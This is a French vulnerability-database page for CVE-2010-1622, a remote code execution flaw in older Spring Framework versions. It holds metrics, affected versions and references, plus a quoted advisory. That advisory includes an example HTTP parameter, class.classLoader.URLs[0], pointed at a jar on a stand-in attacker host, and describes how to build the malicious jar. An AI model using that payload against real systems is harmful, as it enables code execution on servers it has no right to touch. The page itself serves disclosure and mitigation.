CVE-2010-1622 : Détail

CVE-2010-1622

Code Injection
A03-Injection
3.94%V3
Network
2010-06-21
14h00 +00:00
2016-12-05
20h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SpringSource Spring Framework 2.5.x before 2.5.6.SEC02, 2.5.7 before 2.5.7.SR01, and 3.0.x before 3.0.3 allows remote attackers to execute arbitrary code via an HTTP request containing class.classLoader.URLs[0]=jar: followed by a URL of a crafted .jar file.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 13918

Date de publication : 2010-06-17 22h00 +00:00
Auteur : Meder Kydyraliev
EDB Vérifié : Yes

CVE-2010-1622: Spring Framework execution of arbitrary code Severity: Critical Vendor: SpringSource, a division of VMware Versions Affected: 3.0.0 to 3.0.2 2.5.0 to 2.5.6.SEC01 (community releases) 2.5.0 to 2.5.7 (subscription customers) Earlier versions may also be affected Description: The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via 'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker. Example: This example is based on a Spring application running on Apache Tomcat. 1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following: - META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not classes; - tag files in META-INF/tags/ containing tag definition (arbitrary Java code). 2. Attacker then submits HTTP request to a form controller with the following HTTP parameter: class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's repositoryURLs property will be overwritten with attacker's URL. 3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class). Mitigation: All users may mitigate this issue by upgrading to 3.0.3 Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01 Credit: The issue was discovered by Meder Kydyraliev, Google Security Team References: [1] http://www.springsource.com/security/spring-framework

Products Mentioned

Configuraton 0

Oracle>>Fusion_middleware >> Version 7.6.2

Oracle>>Fusion_middleware >> Version 11.1.1.6.1

Oracle>>Fusion_middleware >> Version 11.1.1.8.0

Configuraton 0

Springsource>>Spring_framework >> Version 2.5.0

    Springsource>>Spring_framework >> Version 2.5.1

      Springsource>>Spring_framework >> Version 2.5.2

        Springsource>>Spring_framework >> Version 2.5.3

          Springsource>>Spring_framework >> Version 2.5.4

            Springsource>>Spring_framework >> Version 2.5.5

              Springsource>>Spring_framework >> Version 2.5.6

                Springsource>>Spring_framework >> Version 2.5.7

                  Springsource>>Spring_framework >> Version 3.0.0

                    Springsource>>Spring_framework >> Version 3.0.1

                      Springsource>>Spring_framework >> Version 3.0.2

                        Références

                        http://www.vupen.com/english/advisories/2011/0237
                        Tags : vdb-entry, x_refsource_VUPEN
                        http://www.exploit-db.com/exploits/13918
                        Tags : exploit, x_refsource_EXPLOIT-DB
                        http://secunia.com/advisories/43087
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://secunia.com/advisories/41025
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.redhat.com/support/errata/RHSA-2011-0175.html
                        Tags : vendor-advisory, x_refsource_REDHAT
                        http://www.securityfocus.com/bid/40954
                        Tags : vdb-entry, x_refsource_BID
                        http://secunia.com/advisories/41016
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.securitytracker.com/id/1033898
                        Tags : vdb-entry, x_refsource_SECTRACK
                        http://www.securityfocus.com/archive/1/511877
                        Tags : mailing-list, x_refsource_BUGTRAQ